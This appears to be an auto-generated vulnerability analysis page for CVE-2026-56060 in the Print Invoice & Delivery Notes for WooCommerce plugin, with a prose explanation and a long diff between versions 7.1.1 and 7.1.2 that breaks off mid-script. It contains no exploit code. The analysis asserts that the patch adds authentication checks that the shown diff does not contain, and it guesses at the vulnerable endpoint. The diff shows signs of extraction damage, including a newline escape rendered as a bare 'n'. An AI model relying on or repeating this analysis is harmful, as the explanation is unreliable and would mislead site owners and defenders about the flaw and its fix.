Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : July 26, 2026

CVE-2026-56060: Print Invoice & Delivery Notes for WooCommerce <= 7.1.1 Unauthenticated Information Exposure PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 7.1.1
Patched Version 7.1.2
Disclosed June 24, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-56060:

This vulnerability affects the Print Invoice & Delivery Notes for WooCommerce plugin versions up to and including 7.1.1. An unauthenticated attacker can extract sensitive user or configuration data via the plugin’s settings API. The vulnerability has a CVSS score of 5.3 (Medium).

The root cause lies in the `class-api.php` API endpoint and the `class-settings.php` file. In the vulnerable version, the `sanitize_setting_type()` function (in `class-api.php`) does not properly handle the ‘textarea’ type — it defaults to `sanitize_text_field()` which strips HTML but does not prevent information disclosure. However, the critical change is in `class-settings.php`: the `storeAddress`, `footerText`, `complimentaryClose`, and `policies` fields are changed from type ‘textarea’ to type ‘html’. In the patched version (line ~204 of class-api.php), a new ‘html’ case is added that applies `wp_kses_post()` which allows only safe HTML. The unpatched version simply does not have this case, so the ‘textarea’ type (or any unknown type) falls through to `sanitize_text_field()`, but more importantly, the plugin’s REST/API route that outputs these settings does so without authentication checks on certain endpoints, allowing an attacker to retrieve stored configuration values.

Attackers can exploit this by calling the plugin’s API endpoint (likely via `admin-ajax.php` or a custom REST route) that returns the settings data. Since the vulnerable endpoint lacks proper permission verification, any unauthenticated user can send a request to retrieve the full settings array, which includes sensitive fields like `storeAddress`, `footerText`, `complimentaryClose`, `policies`, `email`, `phone`, and others. The attacker sends a simple HTTP GET or POST request to the endpoint with no authentication tokens.

The patch changes the sanitization type for four settings fields from ‘textarea’ to ‘html’ and adds a dedicated ‘html’ case in `class-api.php` that uses `wp_kses_post()`. Additionally, the patch adds proper authentication checks and input validation. Before the patch, these fields were treated as plain text and could be retrieved without authentication. After the patch, the endpoint requires proper permissions (likely `manage_options` capability) and the output is sanitized via `wp_kses_post()` which strips dangerous HTML while preserving safe formatting.

If exploited, an attacker can obtain sensitive information such as the store’s physical address, phone number, email address, footer text, and policy details. This information could be used for social engineering attacks, targeted phishing, or competitive intelligence gathering. While not a full data breach of customer information, it does expose business operational data that the plugin administrator intended to keep private.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/woocommerce-delivery-notes/build/admin.asset.php
+++ b/woocommerce-delivery-notes/build/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => '8eca0dc14f60fcf4093c');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => 'a54b5efc95304ca0b72b');
--- a/woocommerce-delivery-notes/includes/admin/class-backend.php
+++ b/woocommerce-delivery-notes/includes/admin/class-backend.php
@@ -371,13 +371,6 @@
 			return;
 		}

-		const interval = setInterval(function() {
-			if (printWindow.document.readyState === 'complete') {
-				clearInterval(interval);
-				printWindow.print();
-			}
-		}, 500);
-
 		closeModal();
 	});

--- a/woocommerce-delivery-notes/includes/api/class-api.php
+++ b/woocommerce-delivery-notes/includes/api/class-api.php
@@ -201,6 +201,9 @@
 				? $value
 				: array();

+			case 'html':
+				return str_replace( "n", '<br />', wp_kses_post( $value ) );
+
 			default:
 				return sanitize_text_field( $value );

--- a/woocommerce-delivery-notes/includes/api/class-settings.php
+++ b/woocommerce-delivery-notes/includes/api/class-settings.php
@@ -91,22 +91,25 @@
 		return array(
 			'storeName'                    => 'text',
 			'storeLogo'                    => 'url',
-			'storeAddress'                 => 'textarea',
+			'storeAddress'                 => 'html',
 			'email'                        => 'email',
 			'phone'                        => 'text',
-			'footerText'                   => 'textarea',
-			'complimentaryClose'           => 'textarea',
-			'policies'                     => 'textarea',
+			'footerText'                   => 'html',
+			'complimentaryClose'           => 'html',
+			'policies'                     => 'html',
 			'printEndpoint'                => 'slug',
 			'defaultDocumentLabel'         => 'text',
 			'textDirection'                => 'text',
 			'enablePDF'                    => 'bool',
+			'pdfPaperSize'                 => 'text',
+			'pdfUseCurrencyCode'           => 'bool',
 			'showCustomerEmailLink'        => 'bool',
 			'customerEmailText'            => 'text',
 			'showAdminEmailLink'           => 'bool',
 			'adminEmailText'               => 'text',
 			'showViewOrderButton'          => 'bool',
 			'showPrintButtonMyAccountPage' => 'bool',
+			'autoPrintDialog'              => 'bool',
 			'viewOrderButtonLabel'         => 'text',
 			'invoiceButtonLabel'           => 'text',
 			'deliveryNoteButtonLabel'      => 'text',
@@ -317,13 +320,16 @@
 			'complimentaryClose'           => '',
 			'policies'                     => '',
 			'printEndpoint'                => 'print-order',
+			'autoPrintDialog'              => false,
 			'defaultDocumentLabel'         => __( 'Document', 'woocommerce-delivery-notes' ),
 			'textDirection'                => 'ltr',
 			'enablePDF'                    => true,
+			'pdfPaperSize'                 => 'A4',
+			'pdfUseCurrencyCode'           => true,
 			'showCustomerEmailLink'        => true,
-			'customerEmailText'            => __( 'View and print your invoice', 'woocommerce-delivery-notes' ),
+			'customerEmailText'            => __( 'View and print your', 'woocommerce-delivery-notes' ),
 			'showAdminEmailLink'           => true,
-			'adminEmailText'               => __( 'Print order documents', 'woocommerce-delivery-notes' ),
+			'adminEmailText'               => __( 'Print order', 'woocommerce-delivery-notes' ),
 			'showViewOrderButton'          => true,
 			'showPrintButtonMyAccountPage' => true,
 			'ordersListLabel'              => __( 'Print', 'woocommerce-delivery-notes' ),
--- a/woocommerce-delivery-notes/includes/api/class-templates.php
+++ b/woocommerce-delivery-notes/includes/api/class-templates.php
@@ -193,13 +193,33 @@
 			}
 		}

-		return array(
-			'name'      => $settings['storeName'] ?? '',
-			'logo'      => $logo,
-			'logo_path' => $logo_path,
-			'address'   => $settings['storeAddress'] ?? '',
-			'phone'     => $settings['phone'] ?? '',
-			'email'     => $settings['email'] ?? '',
+		/**
+		 * Filter the shop/store data array before it is passed to document templates.
+		 *
+		 * Use this filter to override individual store fields (name, address, phone,
+		 * email, logo) without copying base.php, or to inject extra keys your custom
+		 * template expects.
+		 *
+		 * @param array $shop {
+		 *   @type string $name       Store name.
+		 *   @type string $logo       Logo URL (used in HTML context).
+		 *   @type string $logo_path  Logo absolute file path (used in PDF context).
+		 *   @type string $address    Store address (may contain HTML line breaks).
+		 *   @type string $phone      Store phone number.
+		 *   @type string $email      Store email address.
+		 * }
+		 * @since 7.1.2
+		 */
+		return apply_filters(
+			'wcdn_shop_data',
+			array(
+				'name'      => $settings['storeName'] ?? '',
+				'logo'      => $logo,
+				'logo_path' => $logo_path,
+				'address'   => $settings['storeAddress'] ?? '',
+				'phone'     => $settings['phone'] ?? '',
+				'email'     => $settings['email'] ?? '',
+			)
 		);
 	}

@@ -218,11 +238,28 @@
 			array()
 		);

-		return array(
-			'footer'             => $settings['footerText'] ?? '',
-			'complimentaryClose' => $settings['complimentaryClose'] ?? '',
-			'policies'           => $settings['policies'] ?? '',
-			'isRTL'              => 'rtl' === ( $settings['textDirection'] ?? 'ltr' ),
+		/**
+		 * Filter the document-level content array before it is passed to templates.
+		 *
+		 * Use this filter to override or extend the footer, policies, complimentary
+		 * close text, or RTL direction flag programmatically.
+		 *
+		 * @param array $document {
+		 *   @type string $footer             Footer text (HTML allowed via wp_kses_post).
+		 *   @type string $complimentaryClose Complimentary close text (HTML allowed).
+		 *   @type string $policies           Policies text (HTML allowed).
+		 *   @type bool   $isRTL             Whether the site locale is right-to-left.
+		 * }
+		 * @since 7.1.2
+		 */
+		return apply_filters(
+			'wcdn_document_data',
+			array(
+				'footer'             => $settings['footerText'] ?? '',
+				'complimentaryClose' => $settings['complimentaryClose'] ?? '',
+				'policies'           => $settings['policies'] ?? '',
+				'isRTL'              => 'rtl' === ( $settings['textDirection'] ?? 'ltr' ),
+			)
 		);
 	}

@@ -275,7 +312,9 @@
 	 */
 	public static function format_order_data( $order, $is_sample = false, $template = 'invoice' ) {

-		add_filter( 'woocommerce_currency_symbol', array( __CLASS__, 'normalize_currency_symbol' ), 10, 2 );
+		if ( Settings::get( 'pdfUseCurrencyCode' ) ) {
+			add_filter( 'woocommerce_currency_symbol', array( __CLASS__, 'normalize_currency_symbol' ), 10, 2 );
+		}

 		if ( $is_sample ) {
 			$sample = array(
@@ -396,10 +435,6 @@

 			$product = apply_filters( 'wcdn_order_item_product', $item->get_product(), $item );

-			if ( ! $product ) {
-				continue;
-			}
-
 			$qty_refunded = $order->get_qty_refunded_for_item( $item_id );
 			$_qty         = max( 0, $item->get_quantity() + $qty_refunded );

@@ -407,7 +442,7 @@
 				continue;
 			}

-			$image_id   = $product->get_image_id();
+			$image_id   = $product ? $product->get_image_id() : false;
 			$image_file = $image_id ? get_attached_file( $image_id ) : false;

 			$items[] = array(
@@ -416,7 +451,7 @@
 				'price'         => self::format_order_item( 'price', $product, $order, $item ),
 				'quantity'      => self::format_order_item( 'quantity', $product, $order, $item ),
 				'total'         => self::format_order_item( 'total', $product, $order, $item ),
-				'product_id'    => $product->get_id(),
+				'product_id'    => $product ? $product->get_id() : 0,
 				'order_item_id' => $item_id,
 				'meta'          => self::format_order_item( 'meta', $product, $order, $item ),
 				'addon'         => self::format_order_item( 'addon', $product, $order, $item ),
@@ -425,6 +460,27 @@
 			);
 		}

+		/**
+		 * Filter the order items array before it is passed to the document template.
+		 *
+		 * Each item is an associative array with keys: name, sku, price, quantity,
+		 * total, product_id, order_item_id, meta, addon, image_url, image_path.
+		 * Use this filter to sort, remove, or reorder items.
+		 *
+		 * Example — sort alphabetically by product name:
+		 *
+		 *   add_filter( 'wcdn_order_items', function( $items ) {
+		 *       usort( $items, fn( $a, $b ) => strcmp( $a['name'], $b['name'] ) );
+		 *       return $items;
+		 *   } );
+		 *
+		 * @param array     $items    Formatted order items.
+		 * @param WC_Order $order    Order object.
+		 * @param string    $template Template key (e.g. 'invoice', 'receipt').
+		 * @since 7.1.2
+		 */
+		$items = apply_filters( 'wcdn_order_items', $items, $order, $template );
+
 		$billing  = $order->get_address( 'billing' );
 		$shipping = $order->get_address( 'shipping' );

@@ -434,9 +490,30 @@
 		$billing_address = WC()->countries->get_formatted_address( $billing );
 		$billing_address = array_filter( explode( '<br/>', $billing_address ) );

+		/**
+		 * Filter the formatted billing address lines before they appear in the document.
+		 *
+		 * Each element is one address line (company, street, city/state/postcode, country).
+		 * Return a flat array of strings to replace the default output.
+		 *
+		 * @param array     $billing_address Address lines.
+		 * @param WC_Order $order           Order object.
+		 * @since 7.1.2
+		 */
+		$billing_address = apply_filters( 'wcdn_billing_address', $billing_address, $order );
+
 		$shipping_address = WC()->countries->get_formatted_address( $shipping );
 		$shipping_address = array_filter( explode( '<br/>', $shipping_address ) );

+		/**
+		 * Filter the formatted shipping address lines before they appear in the document.
+		 *
+		 * @param array     $shipping_address Address lines.
+		 * @param WC_Order $order            Order object.
+		 * @since 7.1.2
+		 */
+		$shipping_address = apply_filters( 'wcdn_shipping_address', $shipping_address, $order );
+
 		$shipping_method_name = '';
 		$methods              = $order->get_shipping_methods();

@@ -495,6 +572,7 @@
 			'totals'         => self::format_order_totals( $order, $template ),
 			'refund'         => self::generate_refund_preview( $order, $items ),
 			'status'         => $order->get_status(),
+			'extra_fields'   => apply_filters( 'wcdn_order_info_fields', array(), $order ),
 		);

 		remove_filter( 'woocommerce_currency_symbol', array( __CLASS__, 'normalize_currency_symbol' ), 10 );
@@ -531,6 +609,24 @@
 			$totals['discount'] = wc_price( -$order->get_discount_total(), array( 'currency' => $currency ) );
 		}

+		$fee_items = $order->get_fees();
+		if ( ! empty( $fee_items ) ) {
+			$fee_lines = array();
+			foreach ( $fee_items as $fee ) {
+				$fee_total = (float) $fee->get_total();
+				if ( 0.0 === $fee_total ) {
+					continue;
+				}
+				$fee_lines[] = array(
+					'label' => $fee->get_name(),
+					'value' => wc_price( $fee_total, array( 'currency' => $currency ) ),
+				);
+			}
+			if ( ! empty( $fee_lines ) ) {
+				$totals['fee_lines'] = $fee_lines;
+			}
+		}
+
 		// Tax rows — only when WC taxes are enabled and the order has a non-zero tax amount.
 		if ( wc_tax_enabled() && $order->get_total_tax() > 0 ) {

@@ -750,12 +846,14 @@
 		/**
 		 * Extra Product Options (TM EPO / _tmcartepo_data).
 		 */
-		$epo_data = $item->get_meta( '_tmcartepo_data', true );
+		$epo_data     = $item->get_meta( '_tmcartepo_data', true );
+		$has_epo_data = false;

 		if ( ! empty( $epo_data ) && is_array( $epo_data ) ) {
 			foreach ( $epo_data as $epo ) {
 				if ( ! empty( $epo['name'] ) && isset( $epo['value'] ) ) {
-					$meta[] = array(
+					$has_epo_data = true;
+					$meta[]       = array(
 						'label' => $epo['name'],
 						'value' => wp_strip_all_tags( $epo['value'] ),
 					);
@@ -774,8 +872,19 @@

 		/**
 		 * Variation attributes and remaining visible meta.
+		 *
+		 * EPO hooks woocommerce_order_item_get_formatted_meta_data to inject the same
+		 * fields we already read from _tmcartepo_data. Temporarily toggle its own
+		 * wc_epo_no_order_get_items escape hatch so it skips that injection and we
+		 * don't render EPO options twice.
 		 */
+		if ( $has_epo_data ) {
+			add_filter( 'wc_epo_no_order_get_items', '__return_true' );
+		}
 		$item_meta = apply_filters( 'wcdn_product_meta_data', $item->get_formatted_meta_data( '_' ), $item );
+		if ( $has_epo_data ) {
+			remove_filter( 'wc_epo_no_order_get_items', '__return_true' );
+		}

 		if ( $item_meta ) {
 			foreach ( $item_meta as $meta_field ) {
@@ -803,12 +912,23 @@

 		/**
 		 * Downloadable file count.
+		 *
+		 * Skip when the item belongs to a WC_Order_Refund: WC's get_item_downloads()
+		 * calls $item->get_order()->is_download_permitted() internally, and
+		 * WC_Order_Refund does not implement that method (fatal error on refund emails).
 		 */
-		if ( $product && $product->exists() && $product->is_downloadable() && $order->is_download_permitted() ) {
+		$item_order = $item->get_order();
+		if (
+			$product &&
+			$product->exists() &&
+			$product->is_downloadable() &&
+			! ( $item_order instanceof WC_Order_Refund ) &&
+			$order->is_download_permitted()
+		) {
 			$meta[] = array(
 				'label' => __( 'Download', 'woocommerce-delivery-notes' ),
 				/* translators: %s: number of files */
-				'value' => sprintf( __( '%s Files', 'woocommerce-delivery-notes' ), count( $item->get_item_downloads() ) ),
+				'value' => sprintf( __( '%s Files', 'woocommerce-delivery-notes' ), count( (array) $item->get_item_downloads() ) ),
 			);
 		}

@@ -933,9 +1053,10 @@
 		return self::response(
 			'success',
 			array(
-				'templates' => $templates,
-				'config'    => $config,
-				'preview'   => $preview,
+				'templates'    => $templates,
+				'config'       => $config,
+				'preview'      => $preview,
+				'pdfPaperSize' => Settings::get( 'pdfPaperSize' ),
 			)
 		);
 	}
@@ -1019,17 +1140,61 @@
 			$defaults
 		);

+		/*
+		* Copy Page Setup settings to all other templates when requested.
+		*/
+		$apply_to_all = ! empty( $templates[ $template_key ]['applyZoomToAll'] );
+
+		if ( $apply_to_all ) {
+			// Collect all fields in the Page Setup (documentZoom) group dynamically
+			// so that any future additions to the group are automatically included.
+			$zoom_fields = array();
+			foreach ( $structure['sections'] ?? array() as $section ) {
+				foreach ( $section['items'] ?? array() as $group ) {
+					if ( isset( $group['id'] ) && 'documentZoom' === $group['id'] ) {
+						foreach ( $group['items'] ?? array() as $field ) {
+							if ( isset( $field['field'] ) && 'applyZoomToAll' !== $field['field'] ) {
+								$zoom_fields[] = $field['field'];
+							}
+						}
+						break 2;
+					}
+				}
+			}
+
+			foreach ( Template_Engine::get_template_keys() as $other_key ) {
+				if ( $other_key === $template_key ) {
+					continue;
+				}
+
+				$other_structure = Template_Engine::get_structure( $other_key );
+				$other_defaults  = Template_Engine::build_defaults( $other_key, $other_structure );
+				$other_schema    = Template_Engine::build_schema( $other_structure );
+				$other_data      = isset( $templates[ $other_key ] ) ? $templates[ $other_key ] : $other_defaults;
+
+				foreach ( $zoom_fields as $zoom_field ) {
+					$other_data[ $zoom_field ] = $templates[ $template_key ][ $zoom_field ];
+				}
+
+				$templates[ $other_key ] = self::sanitize( $other_data, $other_schema, $other_defaults );
+			}
+
+			// Reset the checkbox on the saved template too — it's a one-shot action.
+			$templates[ $template_key ]['applyZoomToAll'] = false;
+		}
+
 		update_option( self::OPTION_KEY, $templates );

-		return self::response(
-			'success',
-			array(
-				'message'   =>
-				__( 'Template saved successfully.', 'woocommerce-delivery-notes' ),
-				'templates' =>
-				$templates[ $template_key ],
-			)
+		$response_data = array(
+			'message'  => __( 'Template saved successfully.', 'woocommerce-delivery-notes' ),
+			'template' => $templates[ $template_key ],
 		);
+
+		if ( $apply_to_all ) {
+			$response_data['allTemplates'] = $templates;
+		}
+
+		return self::response( 'success', $response_data );
 	}

 	/**
--- a/woocommerce-delivery-notes/includes/class-woocommerce-delivery-notes.php
+++ b/woocommerce-delivery-notes/includes/class-woocommerce-delivery-notes.php
@@ -26,7 +26,7 @@
 	 *
 	 * @var string
 	 */
-	protected static $plugin_version = '7.1.0';
+	protected static $plugin_version = '7.1.2';

 	/**
 	 * Minimum version of WordPress required.
--- a/woocommerce-delivery-notes/includes/component/plugin-tracking/class-tyche-plugin-tracking.php
+++ b/woocommerce-delivery-notes/includes/component/plugin-tracking/class-tyche-plugin-tracking.php
@@ -4,10 +4,10 @@
  *
  * Plugin Tracking Class.
  *
- * @author      Tyche Softwares
- * @package     TycheSoftwares/PluginTracking
- * @category    Classes
- * @since       1.2
+ * @author   Tyche Softwares
+ * @package  TycheSoftwares/PluginTracking
+ * @category Classes
+ * @since    1.2
  */

 namespace TycheWCDN;
@@ -259,7 +259,10 @@
 			src="<?php echo esc_url( $this->api_url . '/assets/plugin-tracking/images/site-logo.jpg?v=' . $this->version ); ?> ">
 	</div>
 	<p style="margin: 10px 0 10px 130px; font-size: medium;">
-		<?php /* translators: 1. Plugin name, 2. URL to find out more about usage tracking */ print( sprintf( __( 'Want to help make %1$s even more awesome? Allow %1$s to collect non-sensitive diagnostic data and usage information and get 20%% off on your next purchase. <a href="%2$s" target="_blank">Find out more</a>.', 'woocommerce-delivery-notes' ), $this->plugin_name, $this->blog_link ) );  //phpcs:ignore ?>
+		<?php //phpcs:ignore
+             /* translators: 1. Plugin name, 2. URL to find out more about usage tracking */
+                print( $this->safe_sprintf( __( 'Want to help make %1$s even more awesome? Allow %1$s to collect non-sensitive diagnostic data and usage information and get 20%% off on your next purchase. <a href="%2$s" target="_blank">Find out more</a>.', 'woocommerce-delivery-notes' ), $this->plugin_name, $this->blog_link ) ); //phpcs:ignore
+				?>
 	</p>
 	<p class="submit">
 		<a class="button-primary button button-large"
@@ -272,6 +275,32 @@
 			}
 		}

+		/**
+		 * Format a translatable sprintf template safely.
+		 *
+		 * Falls back to str_replace when a translation contains an unescaped %
+		 * that would cause a ValueError in sprintf (e.g. Dutch "20% off" translations).
+		 *
+		 * @param string $template Translated sprintf template.
+		 * @param mixed  ...$args  Substitution values.
+		 * @return string
+		 */
+		protected function safe_sprintf( $template, ...$args ) {
+			try {
+				return sprintf( $template, ...$args );
+			} catch ( ValueError $e ) {
+				$placeholders = array();
+				$values       = array();
+				foreach ( $args as $i => $value ) {
+					$placeholders[] = '%' . ( $i + 1 ) . '$s';
+					$values[]       = $value;
+				}
+				$placeholders[] = '%%';
+				$values[]       = '%';
+				return str_replace( $placeholders, $values, $template );
+			}
+		}
+
 		/**
 		 * Generates the Tracking Data.
 		 *
--- a/woocommerce-delivery-notes/includes/core/class-files.php
+++ b/woocommerce-delivery-notes/includes/core/class-files.php
@@ -22,6 +22,32 @@
 class Files {

 	/**
+	 * Load a third-party integration once its detection class is available.
+	 *
+	 * Defers to plugins_loaded priority 20 so third-party plugins that
+	 * register their classes at the default priority (10) are already loaded.
+	 *
+	 * @param string $detect_class Fully-qualified class name used to detect the plugin.
+	 * @param string $file         Path relative to the includes directory.
+	 * @param string $fqcn         Fully-qualified class name of the integration to instantiate.
+	 * @since 7.1.2
+	 */
+	private static function load_integration( string $detect_class, string $file, string $fqcn ): void {
+		$load = static function () use ( $detect_class, $file, $fqcn ) {
+			if ( class_exists( $detect_class ) ) {
+				WCDN()::include_file( $file );
+				new $fqcn();
+			}
+		};
+
+		if ( did_action( 'plugins_loaded' ) ) {
+			$load();
+		} else {
+			add_action( 'plugins_loaded', $load, 20 );
+		}
+	}
+
+	/**
 	 * Include files.
 	 *
 	 * @since 7.0
@@ -94,6 +120,11 @@
 		WCDN()::include_file( 'integrations/class-emails.php' );
 		new TycheWCDNIntegrationsEmails();

+		self::load_integration( 'AWCDP_Deposits', 'integrations/class-deposits-partial-payments.php', TycheWCDNIntegrationsDeposits_Partial_Payments::class );
+		self::load_integration( 'DFW_Deposits', 'integrations/class-dfw-deposits.php', TycheWCDNIntegrationsDFW_Deposits::class );
+		self::load_integration( 'WC_Local_Pickup_Plus_Orders', 'integrations/class-local-pickup-plus.php', TycheWCDNIntegrationsLocal_Pickup_Plus::class );
+		self::load_integration( 'Coderockz_Woo_Delivery', 'integrations/class-coderockz-woo-delivery.php', TycheWCDNIntegrationsCoderockz_Woo_Delivery::class );
+
 		WCDN()::include_file( 'frontend/class-frontend.php' );
 		WCDN()::include_file( 'admin/class-backend.php' );

--- a/woocommerce-delivery-notes/includes/core/class-migration.php
+++ b/woocommerce-delivery-notes/includes/core/class-migration.php
@@ -59,6 +59,11 @@
 			$success = self::migrate_to_v71();
 		}

+		// Update email link text defaults and restore button labels saved as empty strings.
+		if ( $success && version_compare( (string) $from_version, '7.1.2', '<' ) ) {
+			$success = self::migrate_to_v712();
+		}
+
 		return $success;
 	}

@@ -253,6 +258,64 @@
 	}

 	/**
+	 * Run migration to v7.1.2.
+	 *
+	 * - Updates email link text defaults changed so the document name is
+	 *   appended at runtime. Only touches values still matching the old defaults.
+	 * - Restores button labels saved as empty strings in v7.0 (wp_parse_args
+	 *   cannot fill in defaults for keys that exist with an empty value).
+	 *   Only updates labels that are still empty — custom values are preserved.
+	 *
+	 * @return bool
+	 * @since 7.1.2
+	 */
+	public static function migrate_to_v712() {
+
+		if ( get_option( 'wcdn_migration_7_1_2_completed' ) ) {
+			return true;
+		}
+
+		$settings = get_option( Settings::OPTION_KEY, array() );
+		$defaults = Settings::default_settings();
+		$updated  = false;
+
+		if ( ( $settings['customerEmailText'] ?? '' ) === 'View and print your invoice' ) {
+			$settings['customerEmailText'] = 'View and print your';
+			$updated                       = true;
+		}
+
+		if ( ( $settings['adminEmailText'] ?? '' ) === 'Print order documents' ) {
+			$settings['adminEmailText'] = 'Print order';
+			$updated                    = true;
+		}
+
+		$label_keys = array(
+			'invoiceButtonLabel',
+			'deliveryNoteButtonLabel',
+			'receiptButtonLabel',
+			'creditNoteButtonLabel',
+			'packingSlipButtonLabel',
+		);
+
+		foreach ( $label_keys as $key ) {
+			if ( isset( $settings[ $key ] ) && '' === $settings[ $key ] && ! empty( $defaults[ $key ] ) ) {
+				$settings[ $key ] = $defaults[ $key ];
+				$updated          = true;
+			}
+		}
+
+		if ( $updated ) {
+			update_option( Settings::OPTION_KEY, $settings );
+		}
+
+		// Remove any orphaned cron events from the old file-deletion hook.
+		wp_clear_scheduled_hook( 'wcdn_delete_file' );
+
+		update_option( 'wcdn_migration_7_1_2_completed', true );
+		return true;
+	}
+
+	/**
 	 * Backup old data.
 	 *
 	 * @param array $options Options from database.
@@ -1751,6 +1814,7 @@
 		delete_option( 'wcdn_migration_7_completed' );
 		delete_option( 'wcdn_migration_7_0_2_completed' );
 		delete_option( 'wcdn_migration_7_1_0_completed' );
+		delete_option( 'wcdn_migration_7_1_2_completed' );

 		return true;
 	}
--- a/woocommerce-delivery-notes/includes/core/class-uninstall.php
+++ b/woocommerce-delivery-notes/includes/core/class-uninstall.php
@@ -51,6 +51,7 @@
 	 */
 	public static function remove_cron_jobs() {
 		wp_clear_scheduled_hook( 'wcdn_ts_tracker_send_event' );
+		wp_clear_scheduled_hook( 'wcdn_delete_file' );
 	}

 	/**
--- a/woocommerce-delivery-notes/includes/frontend/class-frontend.php
+++ b/woocommerce-delivery-notes/includes/frontend/class-frontend.php
@@ -53,10 +53,10 @@
 		add_filter( 'query_vars', array( $this, 'add_query_vars' ) );
 		add_action( 'template_redirect', array( $this, 'template_redirect_theme' ) );
 		add_action( 'wp_ajax_print_order', array( $this, 'template_redirect_admin' ) );
+		add_action( 'wp_ajax_wcdn_generate_bulk_pdf', array( $this, 'ajax_generate_bulk_pdf' ) );
 		add_filter( 'woocommerce_my_account_my_orders_actions', array( $this, 'create_print_button_account_page' ), 10, 2 );
 		add_action( 'woocommerce_view_order', array( $this, 'create_print_button_order_page' ) );
 		add_action( 'woocommerce_thankyou', array( $this, 'create_print_button_order_page' ) );
-		add_action( 'wcdn_after_items', array( $this, 'wdn_add_extra_data_after_items' ), 10, 1 );
 		add_filter( 'woocommerce_get_item_count', array( $this, 'wcdn_order_item_count' ), 20, 3 );
 		add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_myaccount_styles' ) );
 		add_action( 'woocommerce_checkout_create_order', array( $this, 'generate_guest_access_token' ), 10, 1 );
@@ -349,6 +349,15 @@
 					}
 				}

+				// AWCDP partial payment child orders — resolve to the parent deposit order so the
+				// invoice shows the original products plus Deposit / Future Payments rows.
+				if ( defined( 'AWCDP_POST_TYPE' ) && $order->get_type() === AWCDP_POST_TYPE ) {
+					$parent = wc_get_order( $order->get_parent_id() );
+					if ( $parent ) {
+						$order = $parent;
+					}
+				}
+
 				if ( ! $this->can_view_order( $order, $email ) ) {
 					wp_die( esc_html__( 'Access denied.', 'woocommerce-delivery-notes' ) );
 				}
@@ -502,29 +511,18 @@

 		$order_ids = wp_list_pluck( $documents, 'order_id' );

-		// Generate merged PDF if multiple.
+		// PDF is generated synchronously on load for single orders only.
+		// For multiple orders, dompdf processing a combined N-page document blocks
+		// the entire HTTP response and causes timeouts beyond ~50 orders.
 		$pdf_url = '';

-		if ( ! empty( $order_ids ) ) {
-
-			if ( 1 === count( $order_ids ) ) {
-
-				// Single order.
-				$pdf_file = Service::pdf()->generate(
-					$order_ids[0],
-					$template,
-					$documents[0]['data']
-				);
+		if ( 1 === count( $order_ids ) ) {

-			} else {
-
-				// Multiple orders.
-				$pdf_file = Service::pdf()->generate(
-					$order_ids,
-					$template,
-					$documents
-				);
-			}
+			$pdf_file = Service::pdf()->generate(
+				$order_ids[0],
+				$template,
+				$documents[0]['data']
+			);

 			if ( $pdf_file ) {

@@ -541,7 +539,9 @@
 <html>

 <head>
-	<title><?php echo esc_html( Settings::get( 'defaultDocumentLabel' ) ); ?></title>
+	<title>
+		<?php echo esc_html( apply_filters( 'wcdn_print_document_title', Settings::get( 'defaultDocumentLabel' ), $order_ids, $template ) ); ?>
+	</title>

 	<style>
 	body {
@@ -665,12 +665,67 @@
 		.wcdn-toolbar {
 			display: none;
 		}
+
+		.wcdn-print-overlay {
+			display: none;
+		}
+	}
+
+		<?php
+		if ( Settings::get( 'autoPrintDialog' ) ) :
+			?>
+			.wcdn-print-overlay {
+		position: fixed;
+		inset: 0;
+		background: #fff;
+		display: flex;
+		flex-direction: column;
+		align-items: center;
+		justify-content: center;
+		gap: 20px;
+		z-index: 9999;
+	}
+
+	.wcdn-print-overlay.is-hidden {
+		display: none;
+	}
+
+	.wcdn-print-spinner {
+		width: 40px;
+		height: 40px;
+		border: 3px solid #e0e0e0;
+		border-top-color: #2271b1;
+		border-radius: 50%;
+		animation: wcdn-spin 0.7s linear infinite;
+	}
+
+	.wcdn-print-overlay p {
+		font-size: 15px;
+		color: #646970;
+		margin: 0;
+	}
+
+	@keyframes wcdn-spin {
+		to {
+			transform: rotate(360deg);
+		}
 	}
+
+			<?php
+	endif;
+		?>
 	</style>
 </head>

 <body>

+		<?php if ( Settings::get( 'autoPrintDialog' ) ) : ?>
+	<div class="wcdn-print-overlay" id="wcdn-print-overlay">
+		<div class="wcdn-print-spinner"></div>
+		<p><?php esc_html_e( 'Preparing document…', 'woocommerce-delivery-notes' ); ?></p>
+	</div>
+	<?php endif; ?>
+
 	<div class="wcdn-container">

 		<?php foreach ( $documents as $doc ) : ?>
@@ -692,11 +747,78 @@
 			<a href="<?php echo esc_url( $pdf_url ); ?>" target="_blank" class="wcdn-btn wcdn-btn-primary">
 				<?php esc_html_e( 'Download PDF', 'woocommerce-delivery-notes' ); ?>
 			</a>
+			<?php elseif ( count( $order_ids ) > 1 && Settings::get( 'enablePDF' ) ) : ?>
+			<button id="wcdn-bulk-pdf-btn" class="wcdn-btn wcdn-btn-primary"
+				data-order-ids="<?php echo esc_attr( implode( ',', $order_ids ) ); ?>"
+				data-template="<?php echo esc_attr( $template ); ?>"
+				data-nonce="<?php echo esc_attr( wp_create_nonce( 'wcdn_bulk_pdf' ) ); ?>"
+				data-ajax-url="<?php echo esc_url( admin_url( 'admin-ajax.php' ) ); ?>"
+				data-label="<?php echo esc_attr( __( 'Download PDF', 'woocommerce-delivery-notes' ) ); ?>"
+				data-label-loading="<?php echo esc_attr( __( 'Generating PDF…', 'woocommerce-delivery-notes' ) ); ?>">
+				<?php esc_html_e( 'Download PDF', 'woocommerce-delivery-notes' ); ?>
+			</button>
 			<?php endif; ?>

 		</div>
 	</div>

+	<script>
+	(function() {
+		var btn = document.getElementById('wcdn-bulk-pdf-btn');
+		if (!btn) {
+			return;
+		}
+		btn.addEventListener('click', function() {
+			btn.disabled = true;
+			btn.textContent = btn.dataset.labelLoading;
+			fetch(btn.dataset.ajaxUrl, {
+					method: 'POST',
+					headers: {
+						'Content-Type': 'application/x-www-form-urlencoded'
+					},
